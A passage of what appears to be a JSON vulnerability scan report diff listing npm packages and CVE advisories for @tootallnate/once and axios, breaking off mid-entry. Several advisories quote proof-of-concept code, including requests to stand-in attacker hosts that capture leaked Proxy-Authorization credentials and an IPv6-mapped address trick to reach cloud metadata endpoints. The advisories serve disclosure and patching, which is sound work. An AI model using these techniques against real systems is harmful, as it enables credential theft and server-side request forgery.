+ "PURL": "pkg:npm/yoga-layout@2.0.1",
+ "UID": "9ea6363f39cc0732"
+ },
+ "Version": "2.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10721,
+ "EndLine": 10726
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "zod@3.25.76",
+ "Name": "zod",
+ "Identifier": {
+ "PURL": "pkg:npm/zod@3.25.76",
+ "UID": "6e738e059fa25f1c"
+ },
+ "Version": "3.25.76",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10727,
+ "EndLine": 10735
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "zod-to-json-schema@3.25.2",
+ "Name": "zod-to-json-schema",
+ "Identifier": {
+ "PURL": "pkg:npm/zod-to-json-schema@3.25.2",
+ "UID": "2b2f9d6849b2d813"
+ },
+ "Version": "3.25.2",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "zod@3.25.76"
+ ],
+ "Locations": [
+ {
+ "StartLine": 10736,
+ "EndLine": 10744
+ }
+ ],
+ "AnalyzedBy": "npm"
+ }
+ ],
+ "Vulnerabilities": [
+ {
+ "VulnerabilityID": "CVE-2026-3449",
+ "VendorIDs": [
+ "GHSA-vpq2-c234-7xj6"
+ ],
+ "PkgID": "@tootallnate/once@2.0.0",
+ "PkgName": "@tootallnate/once",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/%40tootallnate/once@2.0.0",
+ "UID": "daf7aed08211b13b"
+ },
+ "InstalledVersion": "2.0.0",
+ "FixedVersion": "3.0.1, 2.0.1",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-3449",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:e549923364dca3dc6571e7909cfd29df0c0ad8479cb4c2090c7142c9c916ebb5",
+ "Title": "@tootallnate/once: @tootallnate/once: Denial of Service due to incorrect control flow scoping with AbortSignal",
+ "Description": "Versions of the package @tootallnate/once before 3.0.1 are vulnerable to Incorrect Control Flow Scoping in promise resolving when AbortSignal option is used. The Promise remains in a permanently pending state after the signal is aborted, causing any await or .then() usage to hang indefinitely. This can cause a control-flow leak that can lead to stalled requests, blocked workers, or degraded application availability.",
+ "Severity": "LOW",
+ "CweIDs": [
+ "CWE-705"
+ ],
+ "VendorSeverity": {
+ "ghsa": 1,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
+ "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
+ "V3Score": 3.3,
+ "V40Score": 1.9
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
+ "V3Score": 4
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2026-3449",
+ "https://github.com/TooTallNate/once",
+ "https://github.com/TooTallNate/once/commit/b9f43cc5259bee2952d91ad3cdbd201a82df448a",
+ "https://github.com/TooTallNate/once/issues/8",
+ "https://github.com/TooTallNate/once/releases/tag/v2.0.1",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-3449",
+ "https://security.snyk.io/vuln/SNYK-JS-TOOTALLNATEONCE-15250612",
+ "https://www.cve.org/CVERecord?id=CVE-2026-3449"
+ ],
+ "PublishedDate": "2026-03-03T05:17:25.017Z",
+ "LastModifiedDate": "2026-05-19T15:38:48.397Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-44486",
+ "VendorIDs": [
+ "GHSA-j5f8-grm9-p9fc"
+ ],
+ "PkgID": "axios@1.15.2",
+ "PkgName": "axios",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/axios@1.15.2",
+ "UID": "912ac8b12f666bfc"
+ },
+ "InstalledVersion": "1.15.2",
+ "FixedVersion": "1.16.0, 0.32.0",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44486",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:56fb69109de92bad85ff6f963067a7659f4f4ab3b5439ddde1e12a12dd91fc35",
+ "Title": "Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection",
+ "Description": "### Summary\n\nAxios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a `Proxy-Authorization` header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale `Proxy-Authorization` header can remain on the redirected request and be sent to the redirect target.\n\nThis affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected.\n\n### Impact\n\nAn attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials.\n\nThe most relevant case is a Node.js application using an authenticated `HTTP_PROXY` for an initial `http://` request, with redirects enabled, where the redirect target resolves to no proxy, such as an `https://` URL when `HTTPS_PROXY` is unset.\n\nThis does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with `maxRedirects: 0`.\n\n### Affected Functionality\n\nAffected functionality is limited to the Node.js HTTP adapter in `lib/adapters/http.js`.\n\nRelevant inputs and settings include:\n\n- `HTTP_PROXY`, `HTTPS_PROXY`, and `NO_PROXY`.\n- Authenticated proxy URLs such as `http://user:pass@proxy.example:8080`.\n- Automatic redirect following through `follow-redirects`.\n- Axios proxy handling in `setProxy()`.\n- Redirect proxy handling through `beforeRedirects.proxy`.\n\n### Technical Details\n\nIn affected v1 releases, `setProxy()` adds `Proxy-Authorization` when a proxy with credentials is selected, but redirect handling calls `setProxy()` again without first clearing any existing proxy authorization header.\n\nIf the redirected URL resolves to no proxy, `setProxy()` does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale `Proxy-Authorization` header to the final origin.\n\nThe v1 fix in `afca61a` adds an `isRedirect` path that deletes any case variant of `Proxy-Authorization` before proxy settings are re-applied on redirect. The v0 backport in `2af6116` fixed the 0.x line for `0.32.0`.\n\n### Proof of Concept of Attack\n\n```js\nprocess.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';\ndelete process.env.HTTPS_PROXY;\n\nawait axios.get('http://attacker.example/start');\n```\n\nAttacker-controlled HTTP endpoint:\n\n```http\nHTTP/1.1 302 Found\nLocation: https://attacker.example/final\n```\n\nExpected result on affected versions:\n\n```text\nhttps://attacker.example/final receives:\nProxy-Authorization: Basic dXNlcjpwYXNz\n```\n\nExpected result on fixed versions:\n\n```text\nhttps://attacker.example/final receives no Proxy-Authorization header\n```\n\n### Workarounds\n\nSet `maxRedirects: 0` and handle redirects manually.\n\nAvoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.\n\nEnsure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n### Summary\nAxios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a `Proxy-Authorization` header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale `Proxy-Authorization` header is not cleared. As a result, the redirect target can receive the proxy credential directly.\n\nThis issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses `HTTP_PROXY` with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when `HTTPS_PROXY` is unset or the redirect target is excluded by `NO_PROXY`.\n\n### Details\nIn the current implementation:\n\n- `setProxy()` adds `Proxy-Authorization` when a proxy with credentials is in use.\n- On redirects, Axios re-invokes `setProxy()` for the redirected request.\n- If the redirected URL re-evaluates to \"no proxy\", `setProxy()` does not clear the previously added `Proxy-Authorization` header.\n- The redirected request therefore reuses the stale header and sends it to the final origin.\n\nRelevant code locations:\n\n- `lib/adapters/http.js`\n- `setProxy()` adds `Proxy-Authorization`\n- redirect handling re-applies proxy logic through `beforeRedirects.proxy`\n- no cleanup is performed when the recomputed redirect request no longer uses a proxy\n\n### PoC\n1. The victim sends `GET http://\u003cattacker-site\u003e/start`\n2. The request goes through a local authenticated `corp proxy`\n3. The attacker-controlled HTTP endpoint returns `302 Location: https://\u003cattacker-site\u003e/final`\n4. The redirected HTTPS request no longer uses a proxy\n5. The attacker-controlled HTTPS endpoint receives the stale `Proxy-Authorization` header\n\nObserved output:\n\n```text\n[corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz\n[attacker-http] GET /start\n[attacker-https] GET /final\n[attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz\nLeak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.\n```\n\nThis demonstrates that the proxy credential is exposed to the redirect target origin.\n\n### Impact\nExposes authenticated proxy credentials to an attacker-controlled origin.\n\u003c/details\u003e\n\n---",
+ "Severity": "HIGH",
+ "VendorSeverity": {
+ "ghsa": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://github.com/axios/axios",
+ "https://github.com/axios/axios/commit/afca61a070728e717203c2bc21e7b589b59b858b",
+ "https://github.com/axios/axios/pull/10794",
+ "https://github.com/axios/axios/releases/tag/v0.32.0",
+ "https://github.com/axios/axios/releases/tag/v1.16.0",
+ "https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc"
+ ]
+ },
+ {
+ "VulnerabilityID": "CVE-2026-44487",
+ "VendorIDs": [
+ "GHSA-p92q-9vqr-4j8v"
+ ],
+ "PkgID": "axios@1.15.2",
+ "PkgName": "axios",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/axios@1.15.2",
+ "UID": "912ac8b12f666bfc"
+ },
+ "InstalledVersion": "1.15.2",
+ "FixedVersion": "1.16.0, 0.32.0",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44487",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:2df18f904e6f8cd96b31628c12863116eae00db4d77960543ea8c9b594672b78",
+ "Title": "Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter",
+ "Description": "## Summary\n\nAxios’s Node.js HTTP adapter may forward a `Proxy-Authorization` header to a redirected origin during specific proxy-to-direct redirect flows.\n\nThis affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.\n\n## Impact\n\nA malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.\n\nThe leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.\n\nThe practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.\n\n## Affected Functionality\n\nAffected functionality requires all of the following:\n\n- Axios running in Node.js with the HTTP adapter.\n- An initial `http://` request using an authenticated proxy from `config.proxy` or proxy environment variables.\n- Redirect following enabled.\n- A redirect target for which no proxy applies, such as no matching `HTTPS_PROXY` or a matching `NO_PROXY`.\n- A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.\n\nUnaffected functionality includes browser adapters, requests with `maxRedirects: 0`, requests without proxy credentials, and redirect flows where the redirect layer strips `Proxy-Authorization` before axios reconfigures the redirected request.\n\n## Technical Details\n\nIn affected versions, `lib/adapters/http.js` adds `Proxy-Authorization` in `setProxy()` when a proxy with credentials is used.\n\nAxios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, `setProxy()` did not clear a `Proxy-Authorization` header inherited from the previous request options. If `follow-redirects` did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.\n\nThe `1.x` fix in commit `afca61a` changes `setProxy(options, configProxy, location, isRedirect)` so redirect re-invocation removes every case variant of `Proxy-Authorization` before applying proxy settings for the next hop. Regression tests in `tests/unit/adapters/http.test.js` cover no-proxy redirects, `NO_PROXY`, different proxy targets, casing variants, and an end-to-end redirect flow.\n\nThe `0.x` fixed release `0.32.0` includes a backport-style `removeProxyAuthorization()` guard in `lib/adapters/http.js`.\n\n## Proof of Concept of Attack\n\nSafe local outline using dummy credentials:\n\n```js\nprocess.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';\ndelete process.env.HTTPS_PROXY;\n\n// The local HTTP proxy receives this request and returns:\n// HTTP/1.1 302 Found\n// Location: https://attacker.test/final\nawait axios.get('http://attacker.test/start');\n```\n\nExpected vulnerable behaviour:\n\n```text\nProxy receives initial request:\nProxy-Authorization: Basic dXNlcjpwYXNz\n\nFinal HTTPS origin receives redirected request:\nProxy-Authorization: Basic dXNlcjpwYXNz\n```\n\nExpected fixed behaviour:\n\n```text\nFinal HTTPS origin receives no Proxy-Authorization header.\n```\n\n## Workarounds\n\nSet `maxRedirects: 0` and handle redirects manually, ensuring `Proxy-Authorization` is not copied to requests that are not sent through the proxy.\n\nAvoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.\n\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n### Summary\n\nAxios’s Node.js `http` adapter can incorrectly forward a retained `Proxy-Authorization` header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.\n\nWhen an initial HTTP request is sent through an authenticated `HTTP_PROXY`, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale `Proxy-Authorization` header and forwards it to the final origin.\n\n### Details\n\nThe issue occurs during a proxy-to-direct transition across redirects.\n\nWhen Axios sends an initial HTTP request through an authenticated `HTTP_PROXY`, it correctly includes `Proxy-Authorization` for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.\n\nIn the affected flow, the final HTTPS origin receives a `Proxy-Authorization` header value that was intended only for the outbound proxy.\n\nWhether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained `Proxy-Authorization` header before the redirected request is sent.\n\n#### Root Cause Analysis\n\nBased on code review, Axios appears to create the stale header condition in its Node.js `http` adapter.\n\nIn lib/adapters/http.js:\n- When a proxy is used, Axios adds `Proxy-Authorization` in setProxy().\n- Axios also re-runs proxy resolution after redirects via its redirect hook.\n- However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.\n\nAs a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.\n\nA dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained `Proxy-Authorization` header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.\n\n#### Client Conditions\n- the initial HTTP request uses an authenticated `HTTP_PROXY`\n- no proxy applies to the redirected HTTPS URL (for example, no `HTTPS_PROXY` is configured)\n- redirects are followed\n- the redirect is treated as same-host by the redirect layer\n\nUnder that redirect shape, the retained `Proxy-Authorization` header is not removed before the redirected request is sent to the final HTTPS origin.\n\n### Reproduction Outline\n\nDetailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.\n\nThe issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.\n\nThe issue was confirmed under the following conditions:\n\n- axios 1.13.6\n- follow-redirects 1.15.11\n- an authenticated proxy applying to the initial HTTP request\n- no proxy applying to the redirected HTTPS URL\n- redirects enabled\n- an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer\n\n#### Observed behavior\n\n- The initial HTTP request is sent through the proxy and includes `Proxy-Authorization`.\n- The redirected HTTPS request is sent directly to the final origin.\n- The redirected HTTPS request still includes the previously generated `Proxy-Authorization` header.\n- The final origin can receive a `Proxy-Authorization` header value that was intended only for the proxy.\n\n#### Expected behavior\n\nAxios should not send the `Proxy-Authorization` header on a redirected request that is no longer sent through a proxy.\n\n### Impact\n\nUnder the affected redirect and proxy configuration, the final HTTPS origin may receive a retained `Proxy-Authorization` header value that was intended only for the outbound proxy.\n\nIf that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls.\n\u003c/details\u003e\n\n---",
+ "Severity": "HIGH",
+ "VendorSeverity": {
+ "ghsa": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
+ "V40Score": 8.2
+ }
+ },
+ "References": [
+ "https://github.com/axios/axios",
+ "https://github.com/axios/axios/releases/tag/v0.32.0",
+ "https://github.com/axios/axios/releases/tag/v1.16.0",
+ "https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v"
+ ]
+ },
+ {
+ "VulnerabilityID": "CVE-2026-44488",
+ "VendorIDs": [
+ "GHSA-777c-7fjr-54vf"
+ ],
+ "PkgID": "axios@1.15.2",
+ "PkgName": "axios",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/axios@1.15.2",
+ "UID": "912ac8b12f666bfc"
+ },
+ "InstalledVersion": "1.15.2",
+ "FixedVersion": "1.16.0",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44488",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:cf77f302ff082887f584e8b3277b3590826b89b27e7adff31dba706bb29a869d",
+ "Title": "Allocation of Resources Without Limits or Throttling in Axios",
+ "Description": "## Summary\n\nAxios versions `1.7.0` through `1.15.x` did not enforce configured request and response size limits when requests were sent with the `fetch` adapter. Applications that selected `adapter: 'fetch'`, or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than `maxContentLength` or `maxBodyLength` despite those limits being explicitly configured.\n\nThis can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large `data:` URL, or when an application forwards attacker-controlled request bodies through axios while relying on `maxBodyLength` as a boundary.\n\n## Impact\n\nThe impact is availability-only. Affected applications may process, buffer, or transmit data beyond the configured limit, potentially exhausting memory, CPU, or network resources.\n\nThis does not affect axios’s default unlimited behaviour by itself: `maxContentLength` and `maxBodyLength` default to `-1`. The vulnerability exists when an application has configured finite limits and expects axios to enforce them.\n\nServer-side runtimes are the primary concern. Browser impact is generally constrained by the browser process and browser fetch behavior, and should not be described as server process exhaustion.\n\n## Affected Functionality\n\nAffected functionality includes requests using the built-in `fetch` adapter with finite `maxContentLength` or `maxBodyLength` values.\n\nRelevant configurations include:\n\n- `adapter: 'fetch'`\n- `adapter: ['fetch', ...]` when `fetch` is selected\n- environments where neither `xhr` nor `http` is available and axios falls back to `fetch`\n- custom fetch environments configured through `env.fetch`\n\nUnaffected functionality includes:\n\n- Node.js default `http` adapter enforcement\n- versions before the fetch adapter was introduced\n- configurations that do not rely on finite axios size limits\n\n## Technical Details\n\nIn vulnerable versions, `lib/adapters/fetch.js` destructured request config without `maxContentLength` or `maxBodyLength`. The adapter dispatched `fetch()` and then materialized the response through `text()`, `arrayBuffer()`, `blob()`, or related resolvers without checking the configured response limit.\n\nThe fix in `e5540dc` added:\n\n- `maxContentLength` and `maxBodyLength` reads in `lib/adapters/fetch.js`\n- upfront `data:` URL decoded-size checks\n- outbound body-size checks before dispatch\n- `Content-Length` response pre-checks\n- streaming response enforcement\n- fallback checks for environments without `ReadableStream`\n- regression tests in `tests/unit/adapters/fetch.test.js`\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'node:http';\nimport axios from 'axios';\n\nconst server = http.createServer((req, res) =\u003e {\n let received = 0;\n\n req.on('data', chunk =\u003e {\n received += chunk.length;\n });\n\n req.on('end', () =\u003e {\n res.end(JSON.stringify({ received }));\n });\n});\n\nawait new Promise(resolve =\u003e server.listen(0, resolve));\nconst url = `http://127.0.0.1:${server.address().port}/`;\n\nawait axios.post(url, 'A'.repeat(2 * 1024 * 1024), {\n adapter: 'fetch',\n maxBodyLength: 1024\n});\n\n// Vulnerable versions succeed and the server receives 2097152 bytes.\n// Fixed versions reject with ERR_BAD_REQUEST.\n\nserver.close();\n```\n\n## Workarounds\n\nUse the Node.js `http` adapter for server-side requests where finite size limits are security-relevant.\n\nValidate or cap attacker-controlled request bodies before passing them to axios.\n\nReject or strictly allowlist attacker-controlled URL schemes, especially `data:` URLs, before calling axios.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\nWhen Axios is used with adapter: 'fetch', configured body/response size limits are not enforced. This allows oversized uploads/downloads (including data: URLs) despite explicit limits, which can lead to memory/resource exhaustion in server-side usage.\n\n### Details\nmaxBodyLength and maxContentLength are not applied in the fetch adapter flow:\n - lib/adapters/fetch.js (146-160): config destructuring does not include these controls.\n - lib/adapters/fetch.js (220-234): request is dispatched with fetch() without request-size enforcement.\n - lib/adapters/fetch.js (267-283): response is materialized via text(), arrayBuffer(), blob(), etc. without response-size checks.\nBy contrast, the HTTP adapter enforces both limits.\n\n### PoC\n Environment:\n - Axios main at commit f7a4ee2\n - Node v24.2.0\n\nSteps:\n 1. Start an HTTP server that counts received bytes and echoes {received}.\n 2. Send 2 MiB with:\n - adapter: 'fetch'\n - maxBodyLength: 1024\n 3. Request a 4 KiB data: URL with:\n - adapter: 'fetch'\n - maxContentLength: 16\n\nExpected secure behavior: both requests rejected.\n Observed:\n - Upload: success, server received 2097152\n - data: response: success, length 4096\n\n### Impact\nType: DoS / resource exhaustion due to limit bypass.\nImpacted: applications using Axios fetch adapter as a server-side security control boundary for untrusted request/response sizes.\n\u003c/details\u003e\n\n---",
+ "Severity": "HIGH",
+ "VendorSeverity": {
+ "ghsa": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://github.com/axios/axios",
+ "https://github.com/axios/axios/pull/10795",
+ "https://github.com/axios/axios/pull/10796",
+ "https://github.com/axios/axios/releases/tag/v1.16.0",
+ "https://github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf"
+ ]
+ },
+ {
+ "VulnerabilityID": "CVE-2026-44492",
+ "VendorIDs": [
+ "GHSA-pjwm-pj3p-43mv"
+ ],
+ "PkgID": "axios@1.15.2",
+ "PkgName": "axios",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/axios@1.15.2",
+ "UID": "912ac8b12f666bfc"
+ },
+ "InstalledVersion": "1.15.2",
+ "FixedVersion": "1.16.0, 0.32.0",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44492",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:e4a62b5d5c0f52a529186fe2cee799c4e398d2d39ecffd9dc2e20374e4982bc2",
+ "Title": "axios's shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)",
+ "Description": "### Summary\nshouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as `127.0.0.1` or `169.254.169.254`, a request URL using the IPv4-mapped IPv6 form (`::ffff:7f00:1`, `::ffff:a9fe:a9fe`) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.\n\n### Details\nlib/helpers/shouldBypassProxy.js (v1.15.0): \n\n```javascript \n const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); \n const isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host); \n \n // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix \n return hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost)); \n```\n \nThe WHATWG URL parser canonicalises `http://[::ffff:127.0.0.1]/` to hostname `[::ffff:7f00:1]`. After bracket-stripping: `::ffff:7f00:1`. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.\n\n### PoC\n```javascript\n\n// NO_PROXY=127.0.0.1,localhost,::1 HTTP_PROXY=http://attacker:8080\nimport shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js'; \n \n// All three should return true (bypass proxy). Only the first two do. \nconsole.log(shouldBypassProxy('http://127.0.0.1/')); // true [OK] \nconsole.log(shouldBypassProxy('http://[::1]/')); // true [OK] \nconsole.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false \u003c- bypass \nconsole.log(shouldBypassProxy('http://[::ffff:7f00:1]/')); // false \u003c- bypass\n\n``` \n \nNode.js routes ::ffff:7f00:1 to 127.0.0.1: \n\n``` \n// net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service \n// bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS. \n``` \nCloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it. \n \n#### Fix \n \nCanonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison: \n \n ```javascript \nconst ipv4MappedDotted = /^::ffff:(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})$/i; \nconst ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i; \n \nfunction hexToIPv4(a, b) { \n const hi = parseInt(a, 16), lo = parseInt(b, 16); \n return `${hi \u003e\u003e 8}.${hi \u0026 0xff}.${lo \u003e\u003e 8}.${lo \u0026 0xff}`; \n} \n \nconst normalizeNoProxyHost = (hostname) =\u003e { \n if (!hostname) return hostname; \n if (hostname[0] === '[' \u0026\u0026 hostname.at(-1) === ']')\n hostname = hostname.slice(1, -1); \n hostname = hostname.replace(/\\.+$/, '').toLowerCase();\n \n let m; \n if ((m = hostname.match(ipv4MappedDotted))) return m[1]; \n if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]); \n return hostname; \n};\n\n```\n\n### Impact\nAny application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.",
+ "Severity": "HIGH",
+ "VendorSeverity": {
+ "ghsa": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
+ "V3Score": 8.6
+ }
+ },
+ "References": [
+ "https://github.com/axios/axios",
+ "https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv",
+ "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
+ ]
+ },
+ {
+ "VulnerabilityID": "CVE-2026-44494",
+ "VendorIDs": [
+ "GHSA-35jp-ww65-95wh"
+ ],
+ "PkgID": "axios@1.15.2",
+ "PkgName": "axios",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/axios@1.15.2",
+ "UID": "912ac8b12f666bfc"
+ },
+ "InstalledVersion": "1.15.2",
+ "FixedVersion": "1.16.0",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44494",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:c84f4f7502a4975290e141eda90f2325707b9ef909b739ccb5047388ed24397a",
+ "Title": "axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`",
